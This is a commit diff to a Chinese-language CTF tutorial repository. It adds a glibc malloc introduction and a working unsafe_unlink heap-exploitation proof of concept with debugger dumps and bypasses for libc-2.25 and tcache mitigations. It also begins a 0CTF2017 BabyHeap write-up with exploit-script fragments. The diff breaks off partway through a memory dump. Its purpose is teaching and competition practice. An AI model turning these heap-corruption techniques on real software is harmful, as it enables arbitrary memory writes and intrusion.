mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
Merge branch 'master' of https://github.com/firmianay/CTF-All-In-One
This commit is contained in:
commit
c2de16cf57
@ -113,6 +113,7 @@
|
||||
- [6.1.8 pwn DCTF2017 Flex](doc/6.1.8_pwn_dctf2017_flex.md)
|
||||
- [6.1.9 pwn RHme3 Exploitation](doc/6.1.9_rhme3_exploitation.md)
|
||||
- [6.1.10 pwn 0CTF2017 BabyHeap2017](doc/6.1.10_0ctf2017_babyheap2017.md)
|
||||
- [6.1.11 pwn 9447CTF2015 Search-Engine](doc/6.1.11_9447ctf2015_search_engine.md)
|
||||
- re
|
||||
- [6.2.1 re XHPCTF2017 dont_panic](doc/6.2.1_re_xhpctf2017_dont_panic.md)
|
||||
- [6.2.2 re ECTF2016 tayy](doc/6.2.2_re_ectf2016_tayy.md)
|
||||
|
@ -101,6 +101,7 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One
|
||||
* [6.1.8 pwn DCTF2017 Flex](doc/6.1.8_pwn_dctf2017_flex.md)
|
||||
* [6.1.9 pwn RHme3 Exploitation](doc/6.1.9_rhme3_exploitation.md)
|
||||
* [6.1.10 pwn 0CTF2017 BabyHeap2017](doc/6.1.10_0ctf2017_babyheap2017.md)
|
||||
* [6.1.11 pwn 9447CTF2015 Search-Engine](doc/6.1.11_9447ctf2015_search_engine.md)
|
||||
* re
|
||||
* [6.2.1 re XHPCTF2017 dont_panic](doc/6.2.1_re_xhpctf2017_dont_panic.md)
|
||||
* [6.2.2 re ECTF2016 tayy](doc/6.2.2_re_ectf2016_tayy.md)
|
||||
|
@ -1 +1,27 @@
|
||||
# 1.5.8 glibc malloc
|
||||
|
||||
- [glibc](#glibc)
|
||||
- [malloc](#malloc)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/Others/1.5.8_glibc_malloc)
|
||||
|
||||
## glibc
|
||||
glibc 即 GNU C Library,是为 GNU 操作系统开发的一个 C 标准库。glibc 主要由两部分组成,一部分是头文件,位于 `/usr/include`;另一部分是库的二进制文件。二进制文件部分主要是 C 语言标准库,有动态和静态两个版本,动态版本位于 `/lib/libc.so.6`,静态版本位于 `/usr/lib/libc.a`。
|
||||
|
||||
这一章中,我们将阅读分析 glibc 的源码,下面先把它下载下来,并切换到我们需要的版本:
|
||||
```
|
||||
$ git clone git://sourceware.org/git/glibc.git
|
||||
$ cd glibc
|
||||
$ git checkout --track -b local_glibc-2.23 origin/release/2.23/master
|
||||
```
|
||||
|
||||
|
||||
## malloc
|
||||
下面我们先分析 glibc 2.23 版本的源码,它是 Ubuntu16.04 的默认版本,在 pwn 中也最常见。然后,我们再探讨新版本的 glibc 中所加入的漏洞缓解机制。
|
||||
|
||||
|
||||
## 参考资料
|
||||
- [The GNU C Library (glibc)](https://www.gnu.org/software/libc/)
|
||||
- [glibc manual](https://www.gnu.org/software/libc/manual/)
|
||||
|
@ -117,6 +117,8 @@ gef➤ x/5gx 0x602220-0x10
|
||||
0x602230: 0x0000000000000000
|
||||
```
|
||||
|
||||
所以当释放一块内存后再申请一块大小略小于的空间,那么 glibc 倾向于将先前被释放的空间重新分配。
|
||||
|
||||
好了,现在我们加上内存检测参数重新编译:
|
||||
```
|
||||
$ gcc -fsanitize=address -g first_fit.c
|
||||
@ -202,7 +204,7 @@ Allocating 3 buffers.
|
||||
5nd malloc(9) 0x1c07030 points to EEEEEEEE
|
||||
6rd malloc(9) 0x1c07010 points to FFFFFFFF the second time
|
||||
```
|
||||
这个程序展示了利用 fastbins 的 double-free 攻击。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk,所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。
|
||||
这个程序展示了利用 fastbins 的 double-free 攻击,可以泄漏出一块已经被分配的内存指针。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk,所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。
|
||||
|
||||
三个 malloc 之后:
|
||||
```
|
||||
@ -274,6 +276,8 @@ gef➤ x/15gx 0x602010-0x10
|
||||
0x602070: 0x0000000000000000
|
||||
```
|
||||
|
||||
所以对于 fastbins,可以通过 double-free 泄漏出一个堆块的指针。
|
||||
|
||||
加上内存检测参数重新编译:
|
||||
```
|
||||
$ gcc -fsanitize=address -g fastbin_dup.c
|
||||
@ -435,13 +439,73 @@ gef➤ x/5gx 0x7fffffffdc38-0x8
|
||||
0x7fffffffdc50: 0x0000000000602030
|
||||
```
|
||||
|
||||
所以对于 fastbins,可以通过 double-free 覆盖 fastbins 的结构,来获得一个指向任意地址的指针。
|
||||
|
||||
#### unsafe_unlink
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
uint64_t *chunk0_ptr;
|
||||
|
||||
int main() {
|
||||
int malloc_size = 0x80; // not fastbins
|
||||
int header_size = 2;
|
||||
|
||||
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
|
||||
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
|
||||
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
|
||||
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
|
||||
|
||||
// pass this check: (P->fd->bk != P || P->bk->fd != P) == False
|
||||
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
|
||||
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
|
||||
fprintf(stderr, "Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);
|
||||
fprintf(stderr, "Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);
|
||||
// pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False
|
||||
// chunk0_ptr[1] = 0x0; // or 0x8, 0x80
|
||||
|
||||
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
|
||||
chunk1_hdr[0] = malloc_size;
|
||||
chunk1_hdr[1] &= ~1;
|
||||
|
||||
// deal with tcache
|
||||
// int *a[10];
|
||||
// int i;
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// a[i] = malloc(0x80);
|
||||
// }
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// free(a[i]);
|
||||
// }
|
||||
free(chunk1_ptr);
|
||||
|
||||
char victim_string[9];
|
||||
strcpy(victim_string, "AAAAAAAA");
|
||||
chunk0_ptr[3] = (uint64_t) victim_string;
|
||||
fprintf(stderr, "Original value: %s\n", victim_string);
|
||||
|
||||
chunk0_ptr[0] = 0x4242424242424242LL;
|
||||
fprintf(stderr, "New Value: %s\n", victim_string);
|
||||
}
|
||||
```
|
||||
这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的。
|
||||
```
|
||||
$ gcc -g unsafe_unlink.c
|
||||
$ ./a.out
|
||||
The global chunk0_ptr is at 0x601070, pointing to 0x721010
|
||||
The victim chunk we are going to corrupt is at 0x7210a0
|
||||
|
||||
Ubuntu16.04 使用 libc-2.23,其中 unlink 是通过宏实现的,代码如下:
|
||||
Fake chunk fd: 0x601058
|
||||
Fake chunk bk: 0x601060
|
||||
|
||||
Original value: AAAAAAAA
|
||||
New Value: BBBBBBBB
|
||||
```
|
||||
这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即 unsafe unlink。该技术最常见的利用场景是我们有一个可以溢出漏洞和一个全局指针。
|
||||
|
||||
Ubuntu16.04 使用 libc-2.23,其中 unlink 实现的代码如下,其中有一些对前后堆块的检查,也是我们需要绕过的:
|
||||
```c
|
||||
/* Take a chunk off a bin list */
|
||||
#define unlink(AV, P, BK, FD) { \
|
||||
@ -476,9 +540,139 @@ Ubuntu16.04 使用 libc-2.23,其中 unlink 是通过宏实现的,代码如
|
||||
} \
|
||||
}
|
||||
```
|
||||
其中存在一个溢出的问题,
|
||||
|
||||
而在 libc-2.25 中已经修复了这个溢出漏洞,在开头增加了对 size 和 next->prev->size 是否相同的检查,补丁如下:
|
||||
malloc\_size 设置为 0x80,可以分配 small chunk,然后定义 header_size 为 2。申请两块空间,全局指针 `chunk0_ptr` 指向 chunk0,局部指针 `chunk1_ptr` 指向 chunk1:
|
||||
```
|
||||
gef➤ p &chunk0_ptr
|
||||
$1 = (uint64_t **) 0x601070 <chunk0_ptr>
|
||||
gef➤ x/gx &chunk0_ptr
|
||||
0x601070 <chunk0_ptr>: 0x0000000000602010
|
||||
gef➤ p &chunk1_ptr
|
||||
$2 = (uint64_t **) 0x7fffffffdc60
|
||||
gef➤ x/gx &chunk1_ptr
|
||||
0x7fffffffdc60: 0x00000000006020a0
|
||||
gef➤ x/40gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
|
||||
0x602010: 0x0000000000000000 0x0000000000000000
|
||||
0x602020: 0x0000000000000000 0x0000000000000000
|
||||
0x602030: 0x0000000000000000 0x0000000000000000
|
||||
0x602040: 0x0000000000000000 0x0000000000000000
|
||||
0x602050: 0x0000000000000000 0x0000000000000000
|
||||
0x602060: 0x0000000000000000 0x0000000000000000
|
||||
0x602070: 0x0000000000000000 0x0000000000000000
|
||||
0x602080: 0x0000000000000000 0x0000000000000000
|
||||
0x602090: 0x0000000000000000 0x0000000000000091 <-- chunk 1
|
||||
0x6020a0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020b0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020c0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020d0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020e0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020f0: 0x0000000000000000 0x0000000000000000
|
||||
0x602100: 0x0000000000000000 0x0000000000000000
|
||||
0x602110: 0x0000000000000000 0x0000000000000000
|
||||
0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk
|
||||
0x602130: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
接下来要绕过 `(P->fd->bk != P || P->bk->fd != P) == False` 的检查,这个检查有个缺陷,就是 fd/bk 指针都是通过与 chunk 头部的相对地址来查找的。所以我们可以利用全局指针 `chunk0_ptr` 构造 fake chunk 来绕过它:
|
||||
```
|
||||
gef➤ x/40gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
|
||||
0x602010: 0x0000000000000000 0x0000000000000000 <-- fake chunk P
|
||||
0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer
|
||||
0x602030: 0x0000000000000000 0x0000000000000000
|
||||
0x602040: 0x0000000000000000 0x0000000000000000
|
||||
0x602050: 0x0000000000000000 0x0000000000000000
|
||||
0x602060: 0x0000000000000000 0x0000000000000000
|
||||
0x602070: 0x0000000000000000 0x0000000000000000
|
||||
0x602080: 0x0000000000000000 0x0000000000000000
|
||||
0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 <-- prev_size
|
||||
0x6020a0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020b0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020c0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020d0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020e0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020f0: 0x0000000000000000 0x0000000000000000
|
||||
0x602100: 0x0000000000000000 0x0000000000000000
|
||||
0x602110: 0x0000000000000000 0x0000000000000000
|
||||
0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk
|
||||
0x602130: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/5gx 0x601058
|
||||
0x601058: 0x0000000000000000 0x00007ffff7dd2540 <-- fake chunk
|
||||
0x601068: 0x0000000000000000 0x0000000000602010 <-- bk pointer
|
||||
0x601078: 0x0000000000000000
|
||||
gef➤ x/5gx 0x601060
|
||||
0x601060: 0x00007ffff7dd2540 0x0000000000000000 <-- fake chunk
|
||||
0x601070: 0x0000000000602010 0x0000000000000000 <-- fd pointer
|
||||
0x601080: 0x0000000000000000
|
||||
```
|
||||
可以看到,我们在 chunk0 里构造一个 fake chunk,用 P 表示,两个指针 fd 和 bk 可以构成两条链:`P->fd->bk == P`,`P->bk->fd == P`,可以绕过检查。另外利用 chunk0 的溢出漏洞,通过修改 chunk 1 的 `prev_size` 为 fake chunk 的大小,修改 `PREV_INUSE` 标志位为 0,将 fake chunk 伪造成一个 free chunk。
|
||||
|
||||
接下来就是释放掉 chunk1,这会触发 fake chunk 的 unlink 并覆盖 `chunk0_ptr` 的值。unlink 操作是这样进行的:
|
||||
```c
|
||||
FD = P->fd;
|
||||
BK = P->bk;
|
||||
FD->bk = BK
|
||||
BK->fd = FD
|
||||
```
|
||||
再说简单一点,由于这时候 P->fd->bk 和 P->bk->fd 都指向 P,所以最后的结果为:
|
||||
```
|
||||
chunk0_ptr = P = P->fd
|
||||
```
|
||||
成功地修改了 chunk0_ptr,这时 `chunk0_ptr` 和 `chunk0_ptr[3]` 实际上就是同一东西:
|
||||
```
|
||||
gef➤ x/40gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
|
||||
0x602010: 0x0000000000000000 0x0000000000020ff1 <-- fake chunk P
|
||||
0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer
|
||||
0x602030: 0x0000000000000000 0x0000000000000000
|
||||
0x602040: 0x0000000000000000 0x0000000000000000
|
||||
0x602050: 0x0000000000000000 0x0000000000000000
|
||||
0x602060: 0x0000000000000000 0x0000000000000000
|
||||
0x602070: 0x0000000000000000 0x0000000000000000
|
||||
0x602080: 0x0000000000000000 0x0000000000000000
|
||||
0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 [be freed]
|
||||
0x6020a0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020b0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020c0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020d0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020e0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020f0: 0x0000000000000000 0x0000000000000000
|
||||
0x602100: 0x0000000000000000 0x0000000000000000
|
||||
0x602110: 0x0000000000000000 0x0000000000000000
|
||||
0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk
|
||||
0x602130: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/5gx 0x601058
|
||||
0x601058: 0x0000000000000000 0x00007ffff7dd2540 <-- fake chunk
|
||||
0x601068: 0x0000000000000000 0x0000000000601058 <-- bk pointer
|
||||
0x601078: 0x0000000000000000
|
||||
gef➤ x/5gx 0x601060
|
||||
0x601060: 0x00007ffff7dd2540 0x0000000000000000 <-- fake chunk
|
||||
0x601070: 0x0000000000601058 0x0000000000000000 <-- fd pointer
|
||||
0x601080: 0x0000000000000000
|
||||
gef➤ x/gx chunk0_ptr
|
||||
0x601058: 0x0000000000000000
|
||||
gef➤ x/gx chunk0_ptr[3]
|
||||
0x601058: 0x0000000000000000
|
||||
```
|
||||
所以,修改 `chunk0_ptr[3]` 就等于修改 `chunk0_ptr`:
|
||||
```
|
||||
gef➤ x/5gx 0x601058
|
||||
0x601058: 0x0000000000000000 0x00007ffff7dd2540
|
||||
0x601068: 0x0000000000000000 0x00007fffffffdc70 <-- chunk0_ptr[3]
|
||||
0x601078: 0x0000000000000000
|
||||
gef➤ x/gx chunk0_ptr
|
||||
0x7fffffffdc70: 0x4141414141414141
|
||||
```
|
||||
|
||||
这时 `chunk0_ptr` 就指向了 victim_string,修改它:
|
||||
```
|
||||
gef➤ x/gx chunk0_ptr
|
||||
0x7fffffffdc70: 0x4242424242424242
|
||||
```
|
||||
成功达成修改任意地址的成就。
|
||||
|
||||
最后看一点新的东西,libc-2.25 在 unlink 的开头增加了对 size 和 next->prev->size 是否相同的检查,以对抗 1 字节溢出的问题。补丁如下:
|
||||
```diff
|
||||
$ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.c
|
||||
commit 17f487b7afa7cd6c316040f3e6c86dc96b2eec30
|
||||
@ -508,6 +702,100 @@ index e29105c372..994a23248e 100644
|
||||
BK = P->bk; \
|
||||
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
|
||||
```
|
||||
具体是这样的:
|
||||
```c
|
||||
/* Ptr to next physical malloc_chunk. */
|
||||
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))
|
||||
/* Get size, ignoring use bits */
|
||||
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))
|
||||
/* Like chunksize, but do not mask SIZE_BITS. */
|
||||
#define chunksize_nomask(p) ((p)->mchunk_size)
|
||||
/* Size of the chunk below P. Only valid if prev_inuse (P). */
|
||||
#define prev_size(p) ((p)->mchunk_prev_size)
|
||||
/* Bits to mask off when extracting size */
|
||||
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
```
|
||||
|
||||
回顾一下伪造出来的堆:
|
||||
```
|
||||
gef➤ x/40gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
|
||||
0x602010: 0x0000000000000000 0x0000000000000000 <-- fake chunk P
|
||||
0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer
|
||||
0x602030: 0x0000000000000000 0x0000000000000000
|
||||
0x602040: 0x0000000000000000 0x0000000000000000
|
||||
0x602050: 0x0000000000000000 0x0000000000000000
|
||||
0x602060: 0x0000000000000000 0x0000000000000000
|
||||
0x602070: 0x0000000000000000 0x0000000000000000
|
||||
0x602080: 0x0000000000000000 0x0000000000000000
|
||||
0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 <-- prev_size
|
||||
0x6020a0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020b0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020c0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020d0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020e0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020f0: 0x0000000000000000 0x0000000000000000
|
||||
0x602100: 0x0000000000000000 0x0000000000000000
|
||||
0x602110: 0x0000000000000000 0x0000000000000000
|
||||
0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk
|
||||
0x602130: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
这里有三种办法可以绕过该检查:
|
||||
- 什么都不做。
|
||||
- `chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x0`
|
||||
- `prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x0) == 0x0`
|
||||
- 设置 `chunk0_ptr[1] = 0x8`。
|
||||
- `chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x8`
|
||||
- `prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x8) == 0x8`
|
||||
- 设置 `chunk0_ptr[1] = 0x80`。
|
||||
- `chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x80`
|
||||
- `prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x80) == 0x80`
|
||||
|
||||
好的,现在 libc-2.25 版本下我们也能成功利用了。接下来更近一步,libc-2.26 怎么利用,首先当然要先知道它新增了哪些漏洞缓解措施,其中一个神奇的东西叫做 tcache,这是一种线程缓存机制,每个线程默认情况下有 64 个大小递增的 bins,每个 bin 是一个单链表,默认最多包含 7 个 chunk。其中缓存的 chunk 是不会被合并的,所以在释放 chunk 1 的时候,`chunk0_ptr` 仍然指向正确的堆地址,而不是之前的 `chunk0_ptr = P = P->fd`。为了解决这个问题,一种可能的办法是给填充进特定大小的 chunk 把 bin 占满,就像下面这样:
|
||||
```c
|
||||
// deal with tcache
|
||||
int *a[10];
|
||||
int i;
|
||||
for (i = 0; i < 7; i++) {
|
||||
a[i] = malloc(0x80);
|
||||
}
|
||||
for (i = 0; i < 7; i++) {
|
||||
free(a[i]);
|
||||
}
|
||||
```
|
||||
```
|
||||
gef➤ p &chunk0_ptr
|
||||
$2 = (uint64_t **) 0x555555755070 <chunk0_ptr>
|
||||
gef➤ x/gx 0x555555755070
|
||||
0x555555755070 <chunk0_ptr>: 0x00007fffffffdd0f
|
||||
gef➤ x/gx 0x00007fffffffdd0f
|
||||
0x7fffffffdd0f: 0x4242424242424242
|
||||
```
|
||||
现在 libc-2.26 版本下也成功利用了。tcache 是个很有趣的东西,更详细的内容我们会在专门的章节里去讲。
|
||||
|
||||
加上内存检测参数重新编译,可以看到 heap-buffer-overflow:
|
||||
```
|
||||
$ gcc -fsanitize=address -g unsafe_unlink.c
|
||||
$ ./a.out
|
||||
The global chunk0_ptr is at 0x602230, pointing to 0x60c00000bf80
|
||||
The victim chunk we are going to corrupt is at 0x60c00000bec0
|
||||
|
||||
Fake chunk fd: 0x602218
|
||||
Fake chunk bk: 0x602220
|
||||
|
||||
=================================================================
|
||||
==5591==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c00000beb0 at pc 0x000000400d74 bp 0x7ffd06423730 sp 0x7ffd06423720
|
||||
WRITE of size 8 at 0x60c00000beb0 thread T0
|
||||
#0 0x400d73 in main /home/firmy/how2heap/unsafe_unlink.c:26
|
||||
#1 0x7fc925d8282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||||
#2 0x400968 in _start (/home/firmy/how2heap/a.out+0x400968)
|
||||
|
||||
0x60c00000beb0 is located 16 bytes to the left of 128-byte region [0x60c00000bec0,0x60c00000bf40)
|
||||
allocated by thread T0 here:
|
||||
#0 0x7fc9261c4602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
|
||||
#1 0x400b12 in main /home/firmy/how2heap/unsafe_unlink.c:13
|
||||
#2 0x7fc925d8282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||||
```
|
||||
|
||||
#### house_of_spirit
|
||||
|
||||
|
@ -1,8 +1,658 @@
|
||||
# 6.1.10 pwn 0CTF2017 BabyHeap2017
|
||||
|
||||
- [题目复现](#题目复现)
|
||||
- [题目解析](#题目解析)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/writeup/6.1.10_0ctf2017_babyheap2017)
|
||||
|
||||
## 题目复现
|
||||
这个题目给出了二进制文件。在 Ubuntu 16.04 上,libc 就用自带的。
|
||||
```
|
||||
$ file babyheap
|
||||
babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped
|
||||
$ checksec -f babyheap
|
||||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||||
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 0 2 babyheap
|
||||
$ file /lib/x86_64-linux-gnu/libc-2.23.so
|
||||
/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped
|
||||
```
|
||||
64 位程序,保护全开。
|
||||
|
||||
把它运行起来:
|
||||
```
|
||||
socat tcp4-listen:10001,reuseaddr,fork exec:./babyheap &
|
||||
```
|
||||
|
||||
一个典型的堆利用题目:
|
||||
```
|
||||
$ ./babyheap
|
||||
===== Baby Heap in 2017 =====
|
||||
1. Allocate
|
||||
2. Fill
|
||||
3. Free
|
||||
4. Dump
|
||||
5. Exit
|
||||
Command: 1 // 分配一个指定大小的 chunk
|
||||
Size: 5
|
||||
Allocate Index 0
|
||||
1. Allocate
|
||||
2. Fill
|
||||
3. Free
|
||||
4. Dump
|
||||
5. Exit
|
||||
Command: 2 // 将指定大小数据放进 chunk,但似乎没有进行边界检查,导致溢出
|
||||
Index: 0
|
||||
Size: 10
|
||||
Content: aaaaaaaaaa // 10个a
|
||||
1. Allocate
|
||||
2. Fill
|
||||
3. Free
|
||||
4. Dump
|
||||
5. Exit
|
||||
Command: 1. Allocate // 似乎触发了什么 bug,如果是9个a就没事
|
||||
2. Fill
|
||||
3. Free
|
||||
4. Dump
|
||||
5. Exit
|
||||
Command: 4 // 打印出 chunk 的内容,长度是新建时的长度,而不是放入数据的长度
|
||||
Index: 0
|
||||
Content:
|
||||
aaaaa
|
||||
1. Allocate
|
||||
2. Fill
|
||||
3. Free
|
||||
4. Dump
|
||||
5. Exit
|
||||
Command: 3 // 释放 chunk
|
||||
Index: 0
|
||||
1. Allocate
|
||||
2. Fill
|
||||
3. Free
|
||||
4. Dump
|
||||
5. Exit
|
||||
Command: 5
|
||||
```
|
||||
|
||||
|
||||
## 题目解析
|
||||
根据前面所学的知识,我们知道释放且只释放了一个 chunk 后,该 free chunk 会被加入到 unsorted bin 中,它的 fd/bk 指针指向了 libc 中的 main_arena 结构。我们已经知道了 Fill 数据的操作存在溢出漏洞,但并没有发现 UAF 漏洞,所以要想泄露出 libc 基址,得利用 Dump 操作。另外内存分配使用了 calloc 函数,这个函数与 malloc 的区别是,calloc 会将分配的内存空间每一位都初始化为 0,所以也不能通过分配和释放几个小 chunk,再分配一个大 chunk,来泄露其内容。
|
||||
|
||||
怎么利用 Dump 操作呢?如果能使两个 chunk 相重叠,Free 一个,Dump 另一个,或许可行。
|
||||
|
||||
#### leak libc
|
||||
还是一样的,为了方便调试,先关掉 ASLR。首先分配 3 个 fast chunk 和 1 个 small chunk,其实填充数据对漏洞利用是没有意义的,这里只是为了方便观察:
|
||||
```python
|
||||
alloc(0x10)
|
||||
alloc(0x10)
|
||||
alloc(0x10)
|
||||
alloc(0x10)
|
||||
alloc(0x80)
|
||||
fill(0, "A"*16)
|
||||
fill(1, "A"*16)
|
||||
fill(2, "A"*16)
|
||||
fill(3, "A"*16)
|
||||
fill(4, "A"*128)
|
||||
```
|
||||
```
|
||||
gef➤ x/40gx 0x0000555555757010-0x10
|
||||
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
|
||||
0x555555757010: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757020: 0x0000000000000000 0x0000000000000021 <-- chunk 1
|
||||
0x555555757030: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- chunk 2
|
||||
0x555555757050: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
|
||||
0x555555757070: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757080: 0x0000000000000000 0x0000000000000091 <-- chunk 4
|
||||
0x555555757090: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570a0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570b0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570c0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570d0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570e0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570f0: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757100: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757110: 0x0000000000000000 0x0000000000020ef1 <-- top chunk
|
||||
0x555555757120: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757130: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/20gx 0xafc966564d0-0x10
|
||||
0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
|
||||
0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> chunk 1
|
||||
0xafc966564e0: 0x0000000000000010 0x0000555555757030
|
||||
0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> chunk 2
|
||||
0xafc96656500: 0x0000555555757050 0x0000000000000001 <-- idx 3 -> chunk 3
|
||||
0xafc96656510: 0x0000000000000010 0x0000555555757070
|
||||
0xafc96656520: 0x0000000000000001 0x0000000000000080 <-- idx 4 -> chunk 4
|
||||
0xafc96656530: 0x0000555555757090 0x0000000000000000
|
||||
0xafc96656540: 0x0000000000000000 0x0000000000000000
|
||||
0xafc96656550: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
另外我们看到,chunk 的序号被存储到一个 mmap 分配出来的结构体中,包含了 chunk 的地址和大小。程序就是通过该结构体寻找 chunk,然后各种操作的。
|
||||
|
||||
free 掉两个 fast chunk,这样 chunk 2 的 fd 指针会被指向 chunk 1:
|
||||
```python
|
||||
free(1)
|
||||
free(2)
|
||||
```
|
||||
```
|
||||
gef➤ x/2gx &main_arena
|
||||
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000555555757040
|
||||
gef➤ heap bins fast
|
||||
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||||
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x555555757050, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x555555757030, size=0x20, flags=PREV_INUSE)
|
||||
gef➤ x/40gx 0x0000555555757010-0x10
|
||||
